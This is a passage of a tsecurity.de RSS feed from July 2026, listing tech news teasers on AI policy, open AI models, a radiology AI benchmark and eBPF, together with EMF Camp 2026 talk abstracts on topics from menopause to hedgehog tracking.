<link>https://tsecurity.de/de/3679684/it-nachrichten/etzioni-on-ai-uncle-sam-wants-a-stake-in-leading-ai-companies-what-could-possibly-go-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679684/it-nachrichten/etzioni-on-ai-uncle-sam-wants-a-stake-in-leading-ai-companies-what-could-possibly-go-wrong/</guid>
<pubDate>Sun, 19 Jul 2026 17:32:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="445" height="794" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/unclesam.png" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/unclesam.png 445w, https://cdn.geekwire.com/wp-content/uploads/2026/07/unclesam-168x300.png 168w, https://cdn.geekwire.com/wp-content/uploads/2026/07/unclesam-200x357.png 200w, https://cdn.geekwire.com/wp-content/uploads/2026/07/unclesam-56x100.png 56w" sizes="(max-width: 445px) 100vw, 445px"><br>Although bipartisan momentum is building for the federal government to take equity positions in major AI firms, this strategy risks compromising regulatory neutrality unless strict guardrails and sunset clauses are established. <a href="https://www.geekwire.com/2026/etzioni-on-ai-uncle-sam-wants-a-stake-in-leading-ai-companies-what-could-possibly-go-wrong/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Former Richard Stallman Colleague Now Argues for Open AI Models Too]]></title>
<description><![CDATA[Long-time Slashdot reader theodp writes:


Recalling his initial resistance to free and open software, billionaire computer scientist David Siegel argues vigorously in FORTUNE that the stakes are too high to let AI become increasingly closed. "In the 1980s, I had the chance to spend several years...]]></description>
<link>https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/</guid>
<pubDate>Sun, 19 Jul 2026 16:52:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long-time Slashdot reader theodp writes:


Recalling his initial resistance to free and open software, billionaire computer scientist David Siegel argues vigorously in FORTUNE that the stakes are too high to let AI become increasingly closed. "In the 1980s, I had the chance to spend several years arguing about free and open software, what we now call open source, with the founder of the movement, Richard Stallman. My office at the MIT AI Lab was next door to his. Stallman's position was that the source code to software should be free for everyone to use, learn from, and improve. Software encapsulates knowledge, he argued, and no one should lock something so fundamental away. To hide software inside a company was to hide knowledge itself... What I missed was that software was not just a commercial asset; it was a body of knowledge, and bodies of knowledge grow stronger when they are shared. After about two years of on-and-off debate, Stallman convinced me I was wrong." 

 "Now the AI fight is the same — only bigger," advises Siegel. "AI is software, and AI is increasingly closed. The frontier models — the most advanced, cutting-edge AI systems — are closed completely and the trend is accelerating. Viable open alternatives are few and far between." So, what to do...? "Yes, frontier models keep getting bigger and more expensive — that arms race may well stay with the giants. But open source AI does not have to match their scale to be useful. Much of what the world needs probably does not require the absolute frontier. And where keeping a credible open option does demand serious compute, that is precisely the kind of public good worth paying for. 

"What's missing is not a path but will. The government, the private sector, and nonprofits should invest heavily in free and open source AI — the way they once invested in open software: public compute grants for open research, corporate and philanthropic support for universities and nonprofits doing the work, and a simple rule that AI built with public money is open by default. 

"We have run this experiment before. We know how it turns out. Let's not unlearn it."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Former+Richard+Stallman+Colleague+Now+Argues+for+Open+AI+Models+Too%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F0631207%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F0631207%2Fformer-richard-stallman-colleague-now-argues-for-open-ai-models-too%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/19/0631207/former-richard-stallman-colleague-now-argues-for-open-ai-models-too?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]></title>
<description><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used ...]]></description>
<link>https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:31:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used to run seamlessly, now requires debugging, optimization, and at times a little creative patching.
Menopause affects over 1 billion individuals worldwide, yet it remains poorly understood. Despite its universal impact, it is shrouded in myths and a pervasive enforced silence, leaving many unprepared for the changes it brings. This presentation reframes menopause as a hormone system update, exploring how it can subtly, and sometimes dramatically alters life experiences. Viewed through the lens of anyone who has ever had to troubleshoot a stubborn, unpredictable system, this presentation examines how this important life transition and why understanding these changes matter for you and your community. 
My aim is to have an honest conversation about this topic that empowers you with self-advocacy.
Drawing on my own lived experience and as a certified menopause coach, this talk blends data, humor, and clear language to unpack what happens during menopause and why “just pushing through it” is not a viable workaround. I’ll highlight the latest stats, debug common myths, and reveal how menopause quietly affects your entire life.
We can’t roll back the update, but we can optimize the system.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/153-menopause-exe-running-with-limited-resources-hacking-the]]></content:encoded>
</item>
<item>
<title><![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]></title>
<description><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used ...]]></description>
<link>https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:03:18 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used to run seamlessly, now requires debugging, optimization, and at times a little creative patching.
Menopause affects over 1 billion individuals worldwide, yet it remains poorly understood. Despite its universal impact, it is shrouded in myths and a pervasive enforced silence, leaving many unprepared for the changes it brings. This presentation reframes menopause as a hormone system update, exploring how it can subtly, and sometimes dramatically alters life experiences. Viewed through the lens of anyone who has ever had to troubleshoot a stubborn, unpredictable system, this presentation examines how this important life transition and why understanding these changes matter for you and your community. 
My aim is to have an honest conversation about this topic that empowers you with self-advocacy.
Drawing on my own lived experience and as a certified menopause coach, this talk blends data, humor, and clear language to unpack what happens during menopause and why “just pushing through it” is not a viable workaround. I’ll highlight the latest stats, debug common myths, and reveal how menopause quietly affects your entire life.
We can’t roll back the update, but we can optimize the system.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/153-menopause-exe-running-with-limited-resources-hacking-the]]></content:encoded>
</item>
<item>
<title><![CDATA[Have you thought about your digital legacy? (emf2026)]]></title>
<description><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional "Letters of Wishes" provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. Th...]]></description>
<link>https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:50 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional &quot;Letters of Wishes&quot; provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. This workshop introduces the concept of the Machine-Readable Letter of Wishes: a framework for post-mortem autonomy. By applying a &quot;If This, Then That&quot; (IFTTT) logic to digital legacies, we will explore how to automate final wishes across various services, ensuring data is handled with human dignity and precision.

Traditionally, a Letter of Wishes is a physical document offering non-binding guidance to those named in a will. However, in an era of encrypted accounts, fragmented cloud storage and AI. Paper often falls short. 

This workshop moves from the philosophical to the practical:

* Defining the digital legacy: Identifying the specific data points, social accounts, and assets that constitute a modern legacy.
* Pipe mapping: Applying IFTTT methodology to personal wishes (e.g., &quot;If I am inactive for 12 months, then transfer my photo archive to named person
* Exploring autonomy: Discussing the ethical implications of automated execution and how it can alleviate the &quot;administrative burden of grief&quot; for executors.

In the workshop people will gain a foundational understanding of how automation can protect digital rights and dignity, starting that important conversation that benefits individuals, their loved ones, and society.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/151-have-you-thought-about-your-digital-legacy]]></content:encoded>
</item>
<item>
<title><![CDATA[Have you thought about your digital legacy? (emf2026)]]></title>
<description><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional "Letters of Wishes" provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. Th...]]></description>
<link>https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:33:31 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional &quot;Letters of Wishes&quot; provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. This workshop introduces the concept of the Machine-Readable Letter of Wishes: a framework for post-mortem autonomy. By applying a &quot;If This, Then That&quot; (IFTTT) logic to digital legacies, we will explore how to automate final wishes across various services, ensuring data is handled with human dignity and precision.

Traditionally, a Letter of Wishes is a physical document offering non-binding guidance to those named in a will. However, in an era of encrypted accounts, fragmented cloud storage and AI. Paper often falls short. 

This workshop moves from the philosophical to the practical:

* Defining the digital legacy: Identifying the specific data points, social accounts, and assets that constitute a modern legacy.
* Pipe mapping: Applying IFTTT methodology to personal wishes (e.g., &quot;If I am inactive for 12 months, then transfer my photo archive to named person
* Exploring autonomy: Discussing the ethical implications of automated execution and how it can alleviate the &quot;administrative burden of grief&quot; for executors.

In the workshop people will gain a foundational understanding of how automation can protect digital rights and dignity, starting that important conversation that benefits individuals, their loved ones, and society.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/151-have-you-thought-about-your-digital-legacy]]></content:encoded>
</item>
<item>
<title><![CDATA[Cognitive biases: The bugs, features and zero‑days of the human mind (emf2026)]]></title>
<description><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the m...]]></description>
<link>https://tsecurity.de/de/3679323/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679323/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:32:55 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the most surprising and entertaining biases that influence our everyday decisions and what they reveal about how humans actually think.

This isn’t a list of flaws. It’s a tour of the elegant, messy, deeply human heuristics that help us navigate a complex world. By understanding these patterns, we can design better tools, make smarter decisions and be kinder to ourselves and others when things don’t go to plan.

Expect demos, relatable examples and practical takeaways you can use the moment you leave the tent.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/97-cognitive-biases-the-bugs-features]]></content:encoded>
</item>
<item>
<title><![CDATA[Cognitive biases: The bugs, features and zero‑days of the human mind (emf2026)]]></title>
<description><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the m...]]></description>
<link>https://tsecurity.de/de/3679313/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679313/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:18:47 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the most surprising and entertaining biases that influence our everyday decisions and what they reveal about how humans actually think.

This isn’t a list of flaws. It’s a tour of the elegant, messy, deeply human heuristics that help us navigate a complex world. By understanding these patterns, we can design better tools, make smarter decisions and be kinder to ourselves and others when things don’t go to plan.

Expect demos, relatable examples and practical takeaways you can use the moment you leave the tent.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/97-cognitive-biases-the-bugs-features]]></content:encoded>
</item>
<item>
<title><![CDATA[AI chatbots reading X-rays can be dangerously confident even when they're wrong]]></title>
<description><![CDATA[The RadLE 2.0 benchmark tests whether AI models in radiology can tell when they should leave a diagnosis to a human. Many models deliver wrong findings with full confidence, and human radiologists are still well ahead. Before AI can diagnose on its own, it needs to learn when it's better to say n...]]></description>
<link>https://tsecurity.de/de/3679088/ai-nachrichten/ai-chatbots-reading-x-rays-can-be-dangerously-confident-even-when-theyre-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679088/ai-nachrichten/ai-chatbots-reading-x-rays-can-be-dangerously-confident-even-when-theyre-wrong/</guid>
<pubDate>Sun, 19 Jul 2026 09:48:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1025" src="https://the-decoder.com/wp-content/uploads/2026/07/ai-radiology-model-generated-image-nano-banana-pro.jpg" class="attachment-full size-full wp-post-image" alt="Stylized computer display showing an AI-assisted chest X-ray; a color graphic highlights a suspicious area of the lung and displays an alert." decoding="async" fetchpriority="high"></p>
<p>        The RadLE 2.0 benchmark tests whether AI models in radiology can tell when they should leave a diagnosis to a human. Many models deliver wrong findings with full confidence, and human radiologists are still well ahead. Before AI can diagnose on its own, it needs to learn when it's better to say nothing.</p>
<p>The article <a href="https://the-decoder.com/ai-chatbots-reading-x-rays-can-be-dangerously-confident-even-when-theyre-wrong/">AI chatbots reading X-rays can be dangerously confident even when they're wrong</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How eBPF lets Linux run your code inside the kernel]]></title>
<description><![CDATA[Had some free time last week so I made a visual explainer on how eBPF lets Linux run user-loaded code inside the kernel. It follows a small program through Clang, the bpf() syscall, the verifier, JIT compilation, attach points, maps and ring buffers. It also covers bpftrace, XDP, BPF LSM, sched_e...]]></description>
<link>https://tsecurity.de/de/3678783/linux-tipps/how-ebpf-lets-linux-run-your-code-inside-the-kernel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678783/linux-tipps/how-ebpf-lets-linux-run-your-code-inside-the-kernel/</guid>
<pubDate>Sun, 19 Jul 2026 04:54:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Had some free time last week so I made a visual explainer on how eBPF lets Linux run user-loaded code inside the kernel.</p> <p>It follows a small program through Clang, the <code>bpf()</code> syscall, the verifier, JIT compilation, attach points, maps and ring buffers.</p> <p>It also covers bpftrace, XDP, BPF LSM, sched_ext, and what happens when the verifier gets it wrong.</p> <p><a href="https://youtu.be/i9fMJnKakiw?si=ZnJiize0bzmiTz9B">link for anyone interested</a></p> <p>Feedback welcome :)</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Ok_Marionberry8922"> /u/Ok_Marionberry8922 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uzojc6/how_ebpf_lets_linux_run_your_code_inside_the/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uzojc6/how_ebpf_lets_linux_run_your_code_inside_the/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[If you can dream it: building a pop-up escape room (emf2026)]]></title>
<description><![CDATA[We love escape rooms, and it's awesome how the industry has evolved to provide ever more impressive and immersive experiences. Some of the top escape rooms today are huge warehouse-spanning installations with six-figure budgets.

But what if they didn't have to be? Last year, our team had the opp...]]></description>
<link>https://tsecurity.de/de/3678706/it-security-video/if-you-can-dream-it-building-a-pop-up-escape-room-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678706/it-security-video/if-you-can-dream-it-building-a-pop-up-escape-room-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 03:17:47 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We love escape rooms, and it's awesome how the industry has evolved to provide ever more impressive and immersive experiences. Some of the top escape rooms today are huge warehouse-spanning installations with six-figure budgets.

But what if they didn't have to be? Last year, our team had the opportunity to build a pop-up escape room. We wanted to match the creative ambition and capacity for wonder demonstrated by the biggest and best escape rooms in the world; implemented with the scrappy enthusiasm, inherent impermanence, and modest budget of an amateur theatre production.

What we built turned out to be a real dream. Over our five-month run, our core team (gradually bolstered by dozens more volunteers) provided a unique and delightful experience for over six hundred visitors of all ages, including twenty children, two babies, and one dog. We received amazing feedback, tremendously kind reviews, and hugely encouraging industry recognition.

In this talk we'll cover how we turned our ideas into reality, what went to plan, what went wrong, and what we learned. Most importantly, we hope to show what is possible and perhaps inspire other projects, because we'd love to see more escape rooms in the world.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/229-if-you-can-dream-it-building-a-pop-up-escape-room]]></content:encoded>
</item>
<item>
<title><![CDATA[Understanding DTF Powder: Benefits And Applications]]></title>
<description><![CDATA[In this post, I will talk about understanding DTF powder and show you its benefits and applications. One of the most cutting-edge technologies in the custom printing industry is Direct-to-Film (DTF) printing. Whether you’re a business looking to produce eye-catching, long-lasting designs on your ...]]></description>
<link>https://tsecurity.de/de/3678675/it-security-nachrichten/understanding-dtf-powder-benefits-and-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678675/it-security-nachrichten/understanding-dtf-powder-benefits-and-applications/</guid>
<pubDate>Sun, 19 Jul 2026 02:38:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will talk about understanding DTF powder and show you its benefits and applications. One of the most cutting-edge technologies in the custom printing industry is Direct-to-Film (DTF) printing. Whether you’re a business looking to produce eye-catching, long-lasting designs on your products or an individual seeking a distinctive and personalized garment, DTF […]</p>
<p>The post <a href="https://secureblitz.com/understanding-dtf-powder/">Understanding DTF Powder: Benefits And Applications</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to complete Half-Life 2 in 1 hour (emf2026)]]></title>
<description><![CDATA[A presentation explaining inner workings of the source engine, and how they are exploited by speedrunners use to try to finish the video game Half-Life 2 in the fastest time possible.

The source engines other-worldly physics provides a fascinating and mathematically defined world that speedrunne...]]></description>
<link>https://tsecurity.de/de/3678671/it-security-video/how-to-complete-half-life-2-in-1-hour-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678671/it-security-video/how-to-complete-half-life-2-in-1-hour-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 02:33:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A presentation explaining inner workings of the source engine, and how they are exploited by speedrunners use to try to finish the video game Half-Life 2 in the fastest time possible.

The source engines other-worldly physics provides a fascinating and mathematically defined world that speedrunners have come to understand and manipulate in ways that were never intended by the creators of the game. Exploiting (and understanding) this engine has led to &quot;runners&quot; learning skills that are unique to source engine games, and extremely fun!

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/81-how-to-complete-half-life-2-in-1-hour]]></content:encoded>
</item>
<item>
<title><![CDATA[Why is the hacker scene so damn queer? (emf2026)]]></title>
<description><![CDATA[At the first glance sexuality doesn't have much to do with technology. 
But understanding the history and interlinking between both fields is helpful to understand both scenes better.

As everything involving humans, things are a bit blurry, terms and concepts change and with these also the under...]]></description>
<link>https://tsecurity.de/de/3678294/it-security-video/why-is-the-hacker-scene-so-damn-queer-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678294/it-security-video/why-is-the-hacker-scene-so-damn-queer-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:42 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At the first glance sexuality doesn't have much to do with technology. 
But understanding the history and interlinking between both fields is helpful to understand both scenes better.

As everything involving humans, things are a bit blurry, terms and concepts change and with these also the understanding. In philosophy there is a concept &quot;hermeneutical circle&quot; which means, you go around a subject from different perspectives and often end up where you started but in that process you learned more about the subject and have some better understanding of the broader topic. That is what I hope to achieve with this talk.

In that regard I will try to show that there are good arguments why queer folks early on used the internet above average.
I will also try to work out why queer folks designed tech in some specific way.

And how these (early) developments become subject of scrutiny when nearly every human on earth (or in the orbit) is on the internet and big business basically has taken over the internet. How regulating the internet for a majority might harm some minorities. And help others.

The development I see lately is rather paradox. I feel like queer people are slowly vanishing from the internet and tend to do more things offline then the average.
Where the internet once was a safe space for queers it seems now the offline world might be that safe space nowadays.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/232-why-is-the-hacker-scene-so-damn-queer]]></content:encoded>
</item>
<item>
<title><![CDATA[Combi Boilers Suck, My Plumbing Pipe Dream (emf2026)]]></title>
<description><![CDATA[Get a house they said, it'll be fun they said. Well, not on a icy February morning when you step into the shower and it runs ice cold, it isn't. Modern UK plumbing is based around combi-boilers, which is the plumbing equivalent of flying a fighter jet with no ejection seat - when things go wrong,...]]></description>
<link>https://tsecurity.de/de/3678291/it-security-video/combi-boilers-suck-my-plumbing-pipe-dream-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678291/it-security-video/combi-boilers-suck-my-plumbing-pipe-dream-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:38 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Get a house they said, it'll be fun they said. Well, not on a icy February morning when you step into the shower and it runs ice cold, it isn't. Modern UK plumbing is based around combi-boilers, which is the plumbing equivalent of flying a fighter jet with no ejection seat - when things go wrong, oh boy do they go wrong. They provide a lovely standardized plumbing system in a box, greatly reducing the gubbins needed in your house; but they lack any flexibility, or backup plan.

My crazy plan is to cram into a small house: the facility to heat water conventionally (via a boiler), and via thermal solar, ...and via a solid fuel burning back boiler, ...and an electric heater. Needless to say, none of this is 'standard', so a magical system in a box won't work. This is where that February morning comes to bite, the old boiler decided to pack-up a month ahead of schedule, before any of this new stuff was ready. I can assure you, the old 1940s way of heating water with a kettle is a right royal faff.

By the end of the talk, you'll know exactly why combi boilers suck; what this vented nonsense is; what gravity has to do with anything; stuff about zones; what my secret s plan is, and why not y; and why, technically speaking (the best kind of speaking), it is illegal to remove a heatpump system in the UK if you don't like it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/75-combi-boilers-suck-my-plumbing-pipe-dream]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Hobbyists, a Hedgehog Rescue, and an Exciting Hedgehog Tracking Project (Project HEDGE) (emf2026)]]></title>
<description><![CDATA[What began as a simple curiosity about what happens to rehabilitated hedgehogs after release slowly evolved into a long-term wildlife tracking system built from homemade electronics, trial and error, and a surprising amount of night time garden surveillance.

Using RFID tags, cameras, solar power...]]></description>
<link>https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:34:31 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What began as a simple curiosity about what happens to rehabilitated hedgehogs after release slowly evolved into a long-term wildlife tracking system built from homemade electronics, trial and error, and a surprising amount of night time garden surveillance.

Using RFID tags, cameras, solar power, tiny computers, and increasingly ambitious homemade electronics, the project aims to track the movements and behaviour of rehabilitated hedgehogs after release. The long-term hope is to grow the system into an open-source citizen science platform that other wildlife groups, makers, and curious hackers could build, adapt, and expand themselves.

Expect muddy field deployments, low-power electronics, strange bugs (both software and biological), unexpected toad visitors, occasional spider jump scares, questionable design decisions, and practical lessons learned while building technology that has to survive weather, wildlife, and volunteers armed with screwdrivers.

The data collected is now helping support wider wildlife research and improve understanding of hedgehog rehabilitation and behaviour. Underneath all the electronics, the real goal is simple: gathering better data to help hedgehogs survive and thrive.

Caution: this talk contains dangerously high levels of hedgehog cuteness, surprising wildlife stories, and a few simple ways people can help hedgehogs in their own gardens.

If you enjoy scrappy engineering, open hardware, wildlife, or watching hobby projects escalate dramatically, this talk is for you.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/209-two-hobbyists-a-hedgehog-rescue]]></content:encoded>
</item>
<item>
<title><![CDATA[A 3 million dollar question: how fast does a muon wobble? (emf2026)]]></title>
<description><![CDATA[The Muon g-2 experiment recently made the most precise measurement ever carried out with a particle accelerator: how fast muons "wobble" when put near a magnet. This measurement is so precise, it opened up gaps in our understanding of the universe, and was awarded the $3M Breakthrough Prize in Fu...]]></description>
<link>https://tsecurity.de/de/3678158/it-security-video/a-3-million-dollar-question-how-fast-does-a-muon-wobble-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678158/it-security-video/a-3-million-dollar-question-how-fast-does-a-muon-wobble-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 16:47:52 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Muon g-2 experiment recently made the most precise measurement ever carried out with a particle accelerator: how fast muons &quot;wobble&quot; when put near a magnet. This measurement is so precise, it opened up gaps in our understanding of the universe, and was awarded the $3M Breakthrough Prize in Fundamental Physics in 2026.
As one of the researchers involved, I'll explain what a muon is, how the experiment worked, what it told us, and how such an esoteric measurement went right to the heart of the Standard Model of Particle Physics and how the strange quantum universe really works.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/173-a-3-million-dollar-question-how-fast-does-a-muon-wobble]]></content:encoded>
</item>
<item>
<title><![CDATA['A dangerous proposition': How AI is warping the social fabric and the ways we collectively imagine the future]]></title>
<description><![CDATA[In this excerpt from "Predicted: How AI Is Restructuring Social Life," author Mona Sloane examines how artificial intelligence is reconfiguring our understanding of the world and how we imagine the future.]]></description>
<link>https://tsecurity.de/de/3678026/ai-nachrichten/a-dangerous-proposition-how-ai-is-warping-the-social-fabric-and-the-ways-we-collectively-imagine-the-future/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678026/ai-nachrichten/a-dangerous-proposition-how-ai-is-warping-the-social-fabric-and-the-ways-we-collectively-imagine-the-future/</guid>
